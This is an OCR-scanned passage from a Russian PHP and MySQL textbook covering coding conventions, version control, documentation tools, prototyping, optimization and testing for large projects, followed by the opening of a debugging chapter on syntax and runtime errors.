используются символы нижнего регистра (например, $result), а для констант — верхнего (например, PI). Некоторые программисты присваивают двум переменным одно и то же имя, но с символами разного регистра, например, $паше и $Name. Мы полагаем, что не стоит объяснять, почему брать на вооружение подобную практику не рекомендуется. Лучше избегать сложных схем применения регистров, например, $WaReZ. Они достаточно трудны для запоминания. Кроме того, стоит выбрать конструкцию имен переменных, состоящих из не- сколько слов. Нам доводилось встречаться со всеми перечисленными ниже конструк- циями: $username $user_name $userName Совершенно не важно, какой из них будет отдано предпочтение, главное — при- менять ее последовательно. Имеет также смысл придерживаться разумных ограниче- ний в количестве слов — не более двух-трех. Для имен функций применимы многие из рассмотренных соображений, но толь- ко с несколькими отличиями. Имена функций обычно основываются на глагольных формах. Например, следующие имена встроенных PHP-функций описывают дейст- вия, выполняемые над передаваемыми параметрами: addslashes () (добавить обрат- ные косые черты) и mysqli connect () (подключиться к MySQL). Это существенно упрощает восприятие кода. Обратите внимание, что в приведенных выше именах функций применены различные схемы именования переменных с использованием нескольких слов. В этом отношении PHP-функции непоследовательны. В какой-то мере это связано с тем, что они разрабатывались большой группой программистов, однако в основном это объясняется тем, что многие имена функций адаптированы без изменений из других языков или API-интерфейсов. 508 Часть V. Реальные проекты на РНР и MySQL
Кроме того, следует отметить, что в РНР имена функций не зависят от регист- ра. Тем не менее, во избежание путаницы лучше придерживаться какого-то опре- деленного формата. Иногда применяют модульную схему именования, которая встречается во многих PHP-модулях; при этом имя модуля служит префиксом имени функции. Например, имена всех функций усовершенствованного модуля MySQL начинаются с префикса mysqli_, а функций IMAP — с префикса imap_. Так, для функций модуля покупатель- ской тележки (shopping cart) имеет смысл использовать префикс cart_. Обратите, однако, внимание, что имена функций отличаются в объектно-ориен- тированном и процедурном интерфейсах РНР. Обычно имена функций из процедур- ного интерфейса содержат символы подчеркивания (_), тогда как в именах функций из объектно-ориентированного интерфейса используются прописные символы (это называют studlyCaps), как в my Function (). В заключение отметим, что сами по себе правила именования большой роли не играют. Важно лишь последовательно придерживаться выбранной схемы. Комментирование кода Все программы в разумных пределах должны снабжаться комментариями. Может возникнуть вопрос, каковы эти “разумные” пределы. Обычно имеет смысл добавлять комментарии к каждому из следующих элементов. Файлам, будь то завершенные сценарии либо включаемые файлы. Комментарии к каждому файлу должны информировать о его назначении, авторе и времени обновления. Функциям. Необходимо указать, какие действия функция выполняет, какие данные.вводятся и что возвращается. Классам. Следует описать назначение класса. Методы классов должны сопрово- ждаться комментариями того же типа и уровня, что и все другие функции. Блокам кода внутри сценария или функции. Мы часто начинаем писать сцена- рий с набора комментариев в стиле псевдокода, а затем заполняем кодом каждый раздел. Например, на начальном этапе сценарий может иметь следующий вид: <? // Проверить входные данные // Отправить информацию в базу данных // Выдать результаты ?> Это довольно удобно, поскольку после заполнения всех разделов код уже будет содержать комментарии. Сложным элементам кода. Если какой-то фрагмент кода потребовал долгих раздумий либо содержит хитрый трюк, стоит написать к нему пояснение. Тогда при последующем просмотре кода не придется, наморщив лоб, вспоминать: “Что бы это могло значить?”. Следующая общая рекомендация состоит в том, чтобы писать комментарии в про- цессе работы над кодом. Не стоит рассчитывать на возможность вернуться к коду по- сле завершения работы над проектом и только затем внести в него комментарии. Мы уверены, что это никогда не удается, если только у вас не окажется намного менее напряженный график работ и гораздо больше самодисциплины, нежели у нас. Глава 25. Использование РНР и MySQL в крупных проектах 509
Выравнивание кода В любом языке программирования необходимо осмысленное и единообразное применение выравнивания (т.е. отступов) при оформлении кода. Это напоминает форматирование резюме или делового письма. Выравнивание существенно улучшает восприятие кода. Обычно блок программы, который принадлежит некоторой управляющей структу- ре, выделяется отступом относительно окружающего кода. Отступ должен быть хоро- шо заметным (более одного пробела), но не слишком большим. Обычно мы против применения табуляции. Несмотря на то что это ускоряет печать, тем не менее, на многих мониторах отнимает изрядное экранное пространство. Во всех проектах мы используем отступы размером в два или три пробела. Внимания также заслуживает и расположение фигурных скобок. Ниже показаны два распространенных варианта. Вариант 1: if (condition) { // какая-то обработка , } Вариант 2: if (condition) { // еще какая-то обработка } Какой из них использовать — дело сугубо личного вкуса. И снова стоит упомянуть, что, во избежание неразберихи, выбранный стиль должен последовательно приме- няться на протяжении всего проекта. Фрагментирование кода Монолитный код огромных размеров крайне неудобен. Некоторые программисты создают один большой сценарий, который в одном гигантском операторе switch выполняет буквально все операции. Намного лучше разбить код на функции и/или классы, а также поместить взаимосвязанные элементы в подключаемые классы. Например, имеет смысл поместить все функции, связанные с базами данных, в файл с именем, скажем, dbfunctions .php. Ниже перечислены преимущества логического разбиения кода на блоки. Упрощается чтение и понимание кода. Улучшаются возможности многократного использования кода, и сводится к ми- нимуму его избыточность. Например, упомянутый выше файл dbfunctions .php можно будет использовать в любом сценарии, где требуется подключение к базе данных. Если необходимо внести изменения в процесс подключения, достаточ- но это выполнить лишь в одном файле. Создаются предпосылки для совместного труда целой команды разработчиков. Когда код разбит на компоненты, можно возложить ответственность за разра- ботку каждого из них на того или иного члена команды. Кроме того, исклю- чается ситуация, когда одному программисту для продолжения работы прихо- дится ожидать, пока коллега завершит работу над файлом GiantScript.php (“Гигантский сценарий”). 510 Часть V. Реальные проекты на РНР и MySQL
На начальном этапе работы над проектом необходимо уделить время разбиению про- екта на компоненты, которые включаются в график работ. Придется нарисовать схему функциональных модулей, но не следует излишне вдаваться в детали, поскольку схема вполне может меняться в течение всего процесса работы над проектом. Кроме того, не- обходимо решить, какие компоненты должны создаваться в первую очередь, а какие за- висят от других компонентов, после чего построить график разработки каждого из них. Даже если все члены группы должны работать над всеми составляющими кода, обычно имеет смысл возложить персональную ответственность за каждый компо- нент на определенное лицо. В конечном итоге, этот человек будет отвечать за непо- ладки, связанные с данным компонентом. Кроме того, кто-то должен взять на себя обязанности менеджера сборки (build manager). Менеджер должен обеспечить про- движение работ над всеми компонентами первой очереди и работать над остальны- ми. Обычно это же лицо осуществляет управление версиями, речь о котором пойдет ниже. Данный сотрудник может также выступать в роли менеджера всего проекта либо обладать особыми полномочиями. Использование стандартной структуры каталогов Перед тем как приступить к работе над проектом, необходимо продумать отраже- ние структуры компонентов в структуре каталогов Web-сайта. Обычно содержать все компоненты в одном каталоге так же нецелесообразно, как и помещать все функции в один гигантский сценарий. Имеет смысл распределить каталоги между компонента- ми, логикой, содержимым и совместно используемыми библиотеками кода? Структуру каталогов потребуется документировать и предоставить каждому разработчику проек- та копию описания, в которой он найдет все, что ему нужно. Документирование и распределение функций собственной разработки После написания библиотек функций, их необходимо сделать доступными для дру- гих программистов команды. Обычно каждый программист создает собственный набор баз данных или функций отладки. Это приводит к непроизводительным затратам вре- мени. Следует предоставлять доступ к функциям и классам другим членам команды. Помните, что даже если код хранится в общедоступном каталоге, сотрудники не будут знать об этом до тех пор, пока их специальным образом не уведомить. Создайте систему документирования внутренних библиотек функций и сделайте ее доступноц остальным программистам. Управление версиями Применительно к разработке программных систем, управление версиями рассмат- ривается как искусство управления параллельными изменениями. Обычно системы управления версиями действуют как центральные хранилища или архивы, при этом они предоставляют управляемый интерфейс для доступа и коллективного использо- вания кода (и, возможно, документации). Давайте представим ситуацию, когда двум членам группы необходимо трудиться над одним и тем же файлом. Они могут открыть и редактировать файл одновремен- но, перезаписывая изменения, внесенные друг другом. Может быть вариант, когда каждый из них располагает собственной копией файла и автономно редактирует ее на свой лад. Случается также, что один программист просто бездействует, пребывая в ожидании, пока другой программист не завершит редактирование файла. Глава 25. Использование РНР и MySQL в крупных проектах 511
Система управления версиями позволяет решить все обозначенные выше пробле- мы. Подобные системы способны отслеживать изменения каждого файла в хранили- ще таким образом, чтобы пользователь мог видеть не только его текущее состояние, но и содержимое, связанное с любым моментом времени в прошлом. Эта функция по- зволяет выполнять откат ошибочного кода, обеспечивая возврат к работоспособной версии. Определенный набор экземпляров файла можно помечать как окончательную версию. Это означает, что можно продолжать разработку кода, но всегда иметь доступ к копии версии, которая на данный момент считается окончательной. Кроме того, системы управления версиями помогают нескольким программистам одновременно работать над кодом. Каждый программист может получить копию кода в хранилище (этот процесс называется выдачей). После внесения изменений но- вый вариант можно поместить обратно в хранилище. В этом случае считается, что версия принята или предоставлена. Поэтому системы управления версиями могут от- слеживать, какие пользователи какие изменения вносят. Обычно подобные системы способны управлять одновременными обновлениями. Это означает, что два программиста могут одновременно модифицировать один и тот же файл. Например, Джон и Мэри получили по копии самой последней версии йроекта. Джон завершает модификацию определенного файла и предоставляет его системе. Мэри также изменяет этот файл и пытается предоставить его. Если внесен- ные изменения касаются не одной и той же части файла, система осуществит слия- ние двух версий. Если изменения конфликтуют между собой, для Мэри выводится со- ответствующее уведомление, после чего отображаются две различных версии файла. Затем она сможет переделать свою версию кода, дабы устранить конфликты. Система управления версиями, используемая большинством разработчиков для Unix и/или Open Source, называется CVS (Concurrent Versions System — система парал- лельных версий). Система CVS относится к категории программного обеспечения с открытым исходным кодом и входит в состав практически каждой версии Unix. Кроме того, ее можно приобрести для систем DOS, Windows и Macintosh. Она поддерживает модель типа клиент-сервер, поэтому код можно просматривать на любом компьютере через Internet-соединение, если в сети доступен сервер CVS. По этой причине система использовалась при разработке РНР, Apache, Mozilla и других крупных проектов, по крайней мере, частично. CVS для своей системы можно загрузить из Web-сайта по адресу: http://www.ximbiot.com/cvs/wiki/ Хотя базовая версия CVS является инструментом командной строки, различные дополнения, включая модули на основе Java и Windows, реализуют для нее более при- влекательный интерфейс. Дополнения также можно загрузить из упомянутого выше сайта CVS. Конкурирующим продуктом подобного рода является Bitkeeper, используемый в нескольких крупных проектах с открытым исходным кодом, среди которых MySQL и ядро Linux. Для проектов с открытым исходным кодом Bitkeeper доступен бесплатно по адресу http://www.bitkeeper.com/. Существуют и коммерческие альтернативы. Одна из них, perforce, является доста- точно функциональной и мощной, выполняется на большинстве стандартных плат- форм и имеет встроенную поддержку РНР. Несмотря на то что это коммерческий продукт, доступны бесплатные лицензии для проектов с открытым исходным кодом, которые можно получить на сайте: http://www.perforce.сот/ 512 Часть V. Реальные проекты на РНР и MySQL
Выбор среды разработки Предыдущее обсуждение систем управления версиями переходит в более широ- кую область, связанную со средой разработки. Для программирования абсолютно не- обходимы лишь текстовый редактор и браузер для целей тестирования кода. Однако гораздо большей эффективности можно достигнуть в интегрированной среде разра- ботки (Integrated Development Environment — IDE). Существует несколько бесплатных проектов по созданию независимой авто- номной интегрированной среды разработки для РНР; среди них стоит отметить KPHPDevelop, которая ориентируется на среду рабочего стола KDE для Linux. Допол- нительную информацию по этому проекту можно получить по адресу: http://kphpdev.sourceforge.net/ Тем не менее, следует заметить, что в настоящее время лучшие IDE-среды для РНР являются коммерческими. Мощные и полнофункциональные IDE для РНР пред- лагают такие инструментальные средства, как Zend Studio из zend.com, Komodo из activestate.com и PHPEd из nusphere.com. Все перечисленные сайты предлагают свободно загружаемые пробные версии инструментов, однако для долговременного использования этих продуктов придется выкладывать определенную сумму денег. Кроме того, Komodo имеет очень дешевую лицензию для некоммерческого исполь- зования инструментального средства. Документирование проектов Во время выполнения проекта по созданию программного продукта может разра- батываться множество различных видов документов, включая (но не ограничиваясь) следующие. Проектная документация. Техническая документация/руководство разработчика. Словарь данных (включая документацию по классам). Руководство пользователя (хотя большинство Web-приложений должны быть самоочевидными). Здесь наша цель состоит не в том, чтобы обучить написанию документации, а в том, чтобы предоставить рекомендации по снижению трудозатрат за счет частичной автоматизации процесса. В ряде языков существуют методы автоматической генерации некоторых из пере- численных выше документов — в частности, технической документации и словарей данных. Например, программа javadoc генерирует дерево HTML-файлов, которое содержит прототипы и описания членов классов для программ на языке Java. Для РНР существует немало утилит подобного рода. Ниже перечислены некото- рые из них. phpdoc, доступная по адресу: http://www.phpdoc.de/ Это система, которая применялась для документирования кода библиотеки PEAR. Обратите внимание, что термин phpDoc используется для описания це- лого множества проектов подобного типа, и это — лишь один из них. Глава 25. Использование РНР и MySQL в крупных проектах 513
PHP Document a tor, доступная по адресу: http://phpdocu.sourceforge.net/ PHPDocumentator дает возможность получать документы, во многом подобные генерируемым программой j avadoc, и довольно надежна в работе. Кроме того, создается впечатление, что данный проект разрабатывает наиболее активная команда из числа перечисленных в этом списке. phpautodoc, доступная по адресу: http://sourceforge.net/projects/phpautodoc/ Эта программа также генерирует вывод, подобный утилите j avadoc. Для поиска других приложений подобного рода (и PHP-компонентов вообще) хо- рошо подходит сайт SourceForge: http://sourceforge.net Код, предлагаемый сайтом SourceForge, в основном, применяется сообществом пользователей и разработчиков под Unix/Linux, тем не менее, на нем доступно мно- жество проектов, ориентированных и на другие платформы. Создание прототипов Созданием прототипов (prototyping) называют определенный этап разработки, широко используемый при написании Web-приложений. Прототип служит удобным средством отработки требований заказчика. Обычно прототип представляет собой частично работающую версию приложения, которую можно обсуждать с клиентом и которая служит основой окончательной версии. Зачастую окончательная версия по- лучается в результате многочисленных переделок прототипа. Преимущество такого подхода состоит в возможности тесного взаимодействия с клиентом или конечными пользователями с целью создания приемлемой системы. Кроме того, в какой-то мере клиент становится совладельцем продукта. Чтобы быстро “сколотить” прототип, необходимо обладать определенными на- выками и располагать некоторыми инструментальными средствами. Именно здесь и оправдывает себя модульный принцип проектирования. Наличие доступа к набору готовых компонентов существенно ускоряет построение прототипа. Другим удобным инструментом быстрого создания прототипов служат шаблоны, которые рассматри- ваются в следующем разделе. Построение моделей связано с двумя основными проблемами. Необходимо иметь о них представление, чтобы избежать затруднений, а также использовать этот под- ход с максимальной эффективностью. Первая проблема связана с тем, что программисты часто находят затруднитель- ным отбрасывать код, который они по той или иной*причине написали. Прототипы обычно создаются быстро, но впоследствии становится очевидным, что прототип по- строен не самым оптимальным образом. Нелепые фрагменты кода еще можно испра- вить, но когда неприемлемой оказывается структура в целом, положение становится серьезным. Дело в том, что Web-приложения обычно создаются в предельно сжатые сроки, и времени на исправление может попросту не хватить.. В результате получает- ся неудачно построенная система, которой к тому же трудно управлять. Во избежание проблем подобного рода, необходимо внедрять элементы планиро- вания, о чем речь шла выше. 514 Часть V. Реальные проекты на РНР и MySQL
Иногда проще что-то переделать заново, нежели пытаться исправить существую- щее. Может показаться, что на планирование просто нет времени, однако впоследст- вии оно избавит от множества забот. Вторая проблема состоит в том, что система может превратиться в вечный прото- тип. Каждый раз когда, казалось бы, работа завершена, заказчик предлагает очеред- ные новые усовершенствования, дополнительные функциональные возможности и обновления внешнего вида сайта. Из-за такого наплыва требований проект, возмож- но, не сможет быть завершен никогда. Во избежание подобной ситуации, составьте план с фиксированным количеством версий и датой, по истечении которой нельзя добавлять новые функции без повтор- ного планирования, составления новой сметы и графика работ. Разделение логики и содержимого Возможно, вам уже знакома идея использования HTML для описания структуры Web-документов и применение каскадных таблиц стилей (cascading style sheets — CSS) для описания их оформления. Подобный принцип отделения содержимого от пред- ставления можно распространить и на создание сценариев. Обычно долговременное содержание сайтов осуществляется проще, когда реализовано разграничение логики и содержимого. Это сводится к разделению PHP-кода и HTML-кода. Для простых проектов с небольшим количеством строк кода эффект от реализа- ции данного принципа может не оправдать затраченных на него усилий. По мере разрастания проекта становится важным найти способ разграничения логики и со- держимого. В противном случае кодом будет все сложнее и сложнее управлять. Если возникает необходимость изменить оформление Web-сайта, а элементы форматиро- вания тесно' связаны с HTML-кодом, подобного рода работа может превратиться в настоящий кошмар. Рассмотрим три общепринятых базовых подхода к разделению логики и содержи- мого. Для хранения различных частей содержимого используйте подключаемые фай- лы. Это упрощенный подход, однако он вполне эффективен, если сайт в основ- ном статичный. Данное решение обсуждалось в примере для вымышленной компании ВОВАН Convulsing в главе 5. Воспользуйтесь функциями либо классами API-интерфейса с набором собст- венных функций для подключения динамического содержимого к статическим шаблонам страницы. Такой подход рассматривался в главе 6. Воспользуйтесь системой шаблонов. Такая система анализирует статические шаблоны и применяет регулярные выражения для замены дескрипторов-запол- нителей динамическими данными. Главное преимущество данного решения со- стоит в том, что проектировать шаблоны может кто-то другой, кому совершен- но не требуется вникать в РНР-код. У вас появляется возможность использовать предоставляемые шаблоны с минимальными изменениями. Существует целый набор систем шаблонов. Возможно, наиболее популярной из них является система Smarty, которая доступна по следующему адресу:. http://smarty.php.net/ /лава 25. Использование РНР и MySQL в крупных проектах 515
Оптимизация кода Для тех, чей опыт программирования не связан с Web, оптимизация трактуется как нечто, имеющее очень большое значение. В случае использования языка РНР большая часть времени ожидания пользователя Web-приложения связана с подклю- чением и загрузкой из сети. В это время эффект от оптимизации кода оказывается весьма несущественным. Использование простой оптимизации Тем не менее, существует несколько простых методов оптимизации, которые соз- дают ощутимый эффект. Многие из них связаны с приложениями, которые через PHP-код взаимодействуют с базами данных, в том числе и MySQL. Ниже перечисле- ны некоторые из методов подобного рода. Уменьшение количества подключений к базам данных. Подключение к базе данных часто является наиболее медленно выполняющейся частью любого сцена- рия. Выйти из положения можно за счет организации постоянных соединений. Ускорение запросов к базам данных. Необходимо уменьшать количество за- просов и проводить их оптимизацию. Для сложных (а, следовательно, медлен- ных) запросов обычно существует несколько методов оптимизации. Выполняйте запросы через интерфейс командной строки базы данных и тестируйте различ- ные варианты их ускорения. В MySQL для выявления ошибочных запросов можно задействовать оператор EXPLAIN. (Использование этого оператора рассматривалось в главе 12.) Обычно идея заключается в минимизации ко- личества соединений и максимальному использованию индексации. Сведение к минимуму генерации статического содержимого из РНР-кода. Если каждый фрагмент HTML-кода генерируется операторами echo или print (), приложение работает намного медленнее. (Это один из аргументов в пользу разделения логики и содержимого.) То же относится и к динамической генерации графических кнопок. Лучше сгенерировать все кнопки средствами РНР один раз, а затем повторно использовать их по мере необходимости. Если выполняется генерация статического содержимого из функций или шаблонов при каждой загрузке страницы, имеет смысл реализовать однократный вызов функций либо использование шаблонов и сохранение результатов. Использование функций обработки строк вместо регулярных выражений при малейшей возможности. Для этих функций характерно более высокое бы- стродействие. Использование продуктов Zend Компания Zend Technologies разрабатывала сценарный механизм РНР (с открытым исходным кодом), начиная с версии РНР4. В дополнение к базовому механизму можно загрузить утилиту оптимизации Zend Optimizer. Этот многопроходный оптимизатор выполняет оптимизацию кода и может повысить быстродействие сценариев от 40% до 100%. Для выполнения утилиты оптимизации необходима версия РНР 4.0.2 или выше. Исходный код программы не предоставляется, тем не менее, саму программу можно бесплатно загрузить из Web-сайта Zend по адресу http: //www. zend.com/. 516 Часть V. Реальные проекты на РНР и MySQL
Этот подключаемый модуль выполняет оптимизацию кода, получаемого в результа- те динамической компиляции разработанного сценария. Среди других программных продуктов компании Zend Technologies стоит упомянуть Zend Studio, Zend Accelerator и Zend Encoder. На указанном выше сайте также доступны и соответствующие согла- шения на коммерческую поддержку продуктов компании. Тестирование Пересмотр и тестирование кода является еще одним важным этапом разработки программного обеспечения, который разработчики зачастую упускают, когда занима- ются программированием для Web. Очень легко запустить систему для двух-трех тес- товых случаев, а затем отметить, что она работает нормально. Пренебрежение этим представляет собой довольно-таки распространенную ошибку. Прежде чем выпускать продукт, необходимо тщательно проанализировать, пересмотреть код и испытать его на нескольких тестовых сценариях. Мы рекомендуем два метода снижения количества ошибок в коде. (Полностью из- бавиться от ошибок не удается никогда и ни при каких условиях, тем не менее, боль- шинства ошибок вполне можно избежать.) Во-первых, практикуйте пересмотр кода, когда его должен просмотреть другой программист и, возможно, предложить некоторые усовершенствования. Подобный анализ часто выявляет следующие вещи. Ошибки, пропущенные разработчиком. Тестовые случаи, которые не были учтены. Возможности оптимизации. Возможности совершенствования степени защищенности. Существующие компоненты, которые можно использовать для усовершенство- вания фрагментов кода. Дополнительные функциональные возможности. Даже если вы разрабатываете код в одиночку, имеет смысл найти коллегу, находя- щегося в подобной ситуации, и анализировать код друг у друга. Во-вторых, еще один метод предусматривает поиск лиц, которые смогли бы за-, няться тестированием Web-приложения, ставя себя на место конечных пользователей продукта. Главное отличие Web-приложений от традиционных настольных систем со- стоит в том, что с Web-приложениями работает самая что ни нД есть широкая публи- ка. Здесь не следует рассчитывать, что пользователи обязаны разбираться в компь- ютерной технике. Их нельзя снабдить ни длинным руководством, ни даже кратким справочником. Вместо этого Web-приложения должны быть самодокументируемыми и самоочевидными. Необходимо учесть все возможные способы работы с приложе- нием со стороны потенциальных пользователей. Разумеется, абсолютным приорите- том обладает удобство работы с приложением. Опытному программисту или пользователю Web-среды иногда трудно понять про- блемы неискушенных пользователей. Одно из решений — найти специалистов по тес- тированию, которые смогли бы представить типовых пользователей. В прошлом применялся подход, который предполагал первоначальный выпуск так называемых бета-версий Web-приложения. Когда, как предполагалось, большинство ошибок было исправлено, приложение публиковалось для небольшой группы пользо- Глава 25. Использование РНР и MySQL в крупных проектах 517
вателей и невысокой интенсивности трафика сайта. Предложите первой сотне поль- зователей бесплатно какие-нибудь полезные услуги в обмен за отзывы о сайте. Мы га- рантируем, что они укажут на такие комбинации данных или случаи использования, о которых вы, как разработчик, даже и не подозревали. Если создание Web-сайта заказывает некоторая компания, она обычно может предоставить для его тестирова- ния достаточно неопытных пользователей в лице своих сотрудников. (Существенное преимущество такого подхода состоит в укреплении чувства причастности к разра- ботке сайта со стороны клиента.) Дополнительные источники информации Область знаний, которой мы коснулись в данной главе, относится к искусству раз- работки программного обеспечения, поэтому ей посвящено очень много книг. Это исключительно обширная тема. Противопоставлению Web-сайта как документа и Web-сайта как приложения по- священа отличная книга Томаса Пауэла (Thomas A. Powell) под названием Web Site Engineering: Beyond Web Page Design. В принципе, полезной может оказаться также и лю- бая книга по разработке программного обеспечения. Дополнительную информацию по управлению версиями можно найти на Web-сай- те CVS, который находится по адресу: http://www.ximbiot.сот/cvs/wiki/ Самой проблеме управления версиями посвящено не так уж много книг (и это несмотря на важность темы!), тем не менее, можно остановиться на книге Карла Франца Фогеля (Karl Franz Fogel) под названием Open Source Development with CVS, либо же на книге Грегора Пурди (Gregor N. Purdy), озаглавленной CVS Pocket'Reference. Широчайший выбор PHP-компонент, интегрированных сред разработки и систем документирования доступен на сайте SourceForge, который расположен по адресу: http://sourceforge.net Многие темы этой главы обсуждаются в статьях на Web-сайте компании Zend. Из этих статей можно почерпнуть полезную дополнительную информацию. Заодно име- ет смысл загрузить утилиту оптимизации. Сайт компании Zend находится по адресу: http://www.zend.com Если материал, представленный в этой главе, вас заинтересовал, рекомендуем оз- накомиться с методологией разработки программного обеспечения под названием “Экстремальное программирование” (“Extreme Programming”), точнее, с той ее ча- стью, которая посвящена областям, где требования часто меняются, коими являются и Web-приложения. Вот адрес Web-сайта, на котором можно найти исчерпывающую информацию по проблемам экстремального программирования: http://www.extremeprogramming.org Что дальше В главе 26 мы рассмотрим различные виды ошибок программирования, ознако- мимся с типовыми сообщениями об ошибках РНР, а также исследуем технологию об- наружения ошибок. 518 Часть V. Реальные проекты на РНР и MySQL
26 Отладка Эта глава полностью посвящена вопросам отладки PHP-сценариев. Если вы ра- зобрали некоторые примеры книги либо ранее работали с РНР, то наверняка уже выработали собственные навыки и технологии отладки. С возрастанием слож- ности проектов отладка становится все более и более затруднительной. Несмотря на рост вашего профессионального уровня как разработчика, ошибки могут затрагивать множество файлов либо появляться в результате взаимодействия кода, написанного разными программистами. В главе, помимо прочих, рассматриваются следующие темы. Типы программных ошибок: синтаксические, времени выполнения и лЪгические. Сообщения об ошибках. Уровни выдачи сообщений об ошибках. Генерация собственных ошибок. Изящная обработка ошибок. Программные ошибки Вне зависимости от используемого языка программирования существуют три ос- новных типа программных ошибок. Синтаксические ошибки. Ошибки времени выполнения. Логические ошибки. Ниже представлен краткий обзор каждого типа, после чего последует обсуждение возможной тактики обнаружения, обработки, предупреждения и устранения ошибок. Синтаксические ошибки Языки в общем случае характеризуются набором правил, называемых синтаксисом, который касается правильного использования всех операторов. Это относится как к естественным языкам, например, русскому, английскому и прочим, так и языкам про- граммирования вроде РНР. Если утверждение не соответствует правилам языка, го- ворят, что оно содержит синтаксическую ошибку. Синтаксические ошибки часто на- зывают ошибками разбора в случае интерпретируемых языков, таких как РНР, либо ошибками компиляции, когда речь идет о компилируемых языках наподобие С и Java. Глава 26. Отладка 519
Если мы нарушим правила синтаксиса, скажем, английского языка, скорее всего, люди нас поймут. С языками программирования подобная ситуация случается редко. Когда в сценарии нарушается синтаксис РНР, программа синтаксического анализа не сможет обработать сценарий, частично или полностью. Живые люди достаточно хорошо умеют извлекать информацию из неполных или противоречивых данных. В то же время, компьютеры способностью подобного рода не обладают. Помимо прочего, синтаксис РНР требует, чтобы все операторы завершались точ- кой с запятой, строки заключались в кавычки, а передаваемые функциям параметры отделялись друг от друга запятыми и помещались в скобки. Если нарушить эти прави- ла, сценарий окажется неработоспособным, а при первой же попытке его выполне- ния сгенерируется соответствующее сообщение об ошибке. Одной из сильных сторон РНР является выдача информативных сообщений об ошибках. Обычно упомянутые сообщения указывают на характер неполадки, уведом- ляют, какой файл содержит ошибку и в какой строке она обнаружена. Вот только один пример сообщения об ошибке: Parse error: parse error, unexpected ''' in /home/book/public_html/phpmysql4e/chapter26/error.php on line 2 Ошибка синтаксического анализа: ошибка разбора, недопустимая ' ' ' в файле /home/book/public_html/phpinysql4e/chapter26/error.php в строке 2 К этой ошибке привел следующий сценарий: <? $date = date(m.d.y*); ?> Здесь предпринималась попытка передать в функцию date () строку, но по ошиб- ке была пропущена открывающая кавычка, отмечающая начало строки. Простые синтаксические ошибки, подобные данной, обычно обнаруживаются до- вольно-таки легко. Можно допустить аналогичную, однако более сложную в обнаруже- нии ошибку, если не завершить строку кавычкой, как показано в следующем примере: <? $date.= date(’m.d.у); ?> Этот сценарий приводит к возникновению следующей синтаксической ошибки: Parse error: Parse error, unexpected $end in /home/book/public_html/phpmysql4e/chapter26/error.php on line 4 Ошибка синтаксического анализа: ошибка разбора, недопустимый $end в файле /home/book/public_html/phpinysql4e/chapter26/error.php в строке 4 Очевидно, что ошибка не может содержаться в четвертой строке, поскольку сце- нарий состоит всего лишь из трех строк. Подобным образом генерируются сообще- ния об ошибках, когда пропущены закрывающие одинарные или двойные кавычки, а также скобки любого вида. Аналогичную синтаксическую ошибку генерирует и сценарий, показанный ниже: <? if (true) { echo ’здесь допущена ошибка’; ?> 520 Часть V. Реальные проекты на РНР и MySQL
Обнаружение подобных ошибок может быть затруднено, если они появляются в результате комбинирования нескольких файлов. То же относится к случаю, когда ошибка содержится в файле большого размера. Сообщение об ошибке parse error on line 1001 (синтаксическая ошибка в строке 1001) файла, который содержит 1000 строк, может создать большие затруднения, однако по ходу дела и натолкнет на мысль писать модульйый код. По общепринятому мнению, синтаксические ошибки наиболее просты в обнару- жении. Сообщения РНР достаточно точно указывают, где их следует искать. Ошибки времени выполнения Выявлять и исправлять ошибки времени выполнения обычно сложнее. Синтаксические ошибки явно содержатся в сценарии и обнаруживаются программой анализа, когда этот сценарий начинает выполняться. Ошибки времени выполнения не вызваны исключительно содержимым сценария. Они могут зависеть от взаимодей- ствия сценариев с другими событиями или условиями. Например, следующий оператор: require (1 filename.php'); вполне допустим. Он не содержит синтаксических ошибок. Тем не менее, приведенный выше оператор может привести к ошибке времени выполнения. Если его выполнить, когда файл filename.php не существует, либо за- пускающий сценарий пользователь не имеет прав на чтение этого файла, будет полу- чено приблизительно такое сообщение об ошибке: Fatal error: main() [function.require]: Failed opening required 'filename.php' (include_path='.:/usr/local/lib/php') in /home/book/public_html/phpmysql4e/chapter26/error.php on line 1 Неисправимая ошибка: main() [function.require]: ошибка открытия требуемого файла ' fi 1 ename. php ' (include—path='. :/usr/local/lib/php 1) в файле /home/book/publiC—html/phpmysql4e/chapter26/error.php в строке 1 Код написан вполне корректно, но указываемый в нем файл в момент выполне- ния сценария может либо существовать, либо отсутствовать. В этой связи возможно возникновение ошибки времени выполнения. Следующие три строки, по отдельности, являются допустимыми РНР-оператора- ми. К сожалению, в совокупности они приводят к попытке выполнить невозможное действие — деление на ноль. $i = Ю; $j = 0; $k = $i/$k; Показанный выше фрагмент кода генерирует следующее предупреждение: Warning: Division by zero in /home/book/public_html/phpmysql4e/chapter26/div0.php on line 3 Предупреждение: Деление на ноль в файле /home/book/public_html/phpmysql4e/chapter26/div0.php в строке 3 Глава 26. Отладка 521
Это сообщение существенно упрощает исправление ошибки. Не очень многие бу- дут намеренно задавать в коде деление на ноль, однако отсутствие проверки пользо- вательского ввода часто приводит к ошибкам подобного типа. Это один из многочисленных примеров ошибок времени выполнения, которые могут возникать в процессе тестирования кода. Представленный далее код иногда приводит к возникновению той же самой ошиб- ки, однако ее гораздо труднее изолировать и исправить, поскольку она возникает не- регулярно: $i = Ю; $k = $i/$_REQUEST[’input']; " Ниже перечислены распространенные причины ошибок времени выполнения. Вызов несуществующих функций. Чтение и запись в файлы. Взаимодействие с MySQL и другими базами данных. Подключение к сетевым службам. Отсутствие проверки данных, вводимых пользователем. Далее будут кратко рассмотрены все перечисленные причины. Вызов несуществующих функций Ошибку такого рода легко допустить случайно. Имена встроенных функций часто бывают неоднородными. Почему в имени strip tags () присутствует символ подчер- кивания, а в имени stripslashes () его нет? Кроме того, возможен вызов ваших собственных функций, которые не содержат- ся в текущем сценарии, но могут существовать в другом месте. Если код содержит вызов несуществующей функции, например: nonexistent_function(); или mispeled^function(); будет получено следующее сообщение об ошибке: Fatal error: Call to undefined function: nonexistent_function() in /home/book/public_html/phpmysql4e/chapter26/error.php on line 1 Неисправимая ошибка: Обращение к несуществующей функции: nonexistent_function () в файле /home/book/public_html/phpinysql4e/chapter26/error.php в строке 1 Точно так же, если вызвать существующую функцию, но с неверным количеством параметров, будет выведено соответствующее предупреждение. Функция str str () требует передачи ей двух строк — в одной из них выполняет- ся поиск, а другая служит искомым фрагментом. Если вызвать функцию следующим образом: strstr () ; будет выведено показанное ниже предупреждение: Warning: Wrong parameter count for strstr() in /home/book/public_html/phpmysql4e/chapter26/error.php on line 1 Предупреждение: неверное число параметров для strstr () в файле /home/book/public_htinl/phpinysql4e/chapter26/error.php в строке 1 522 Часть V. Реальные проекты на РНР и MySQL
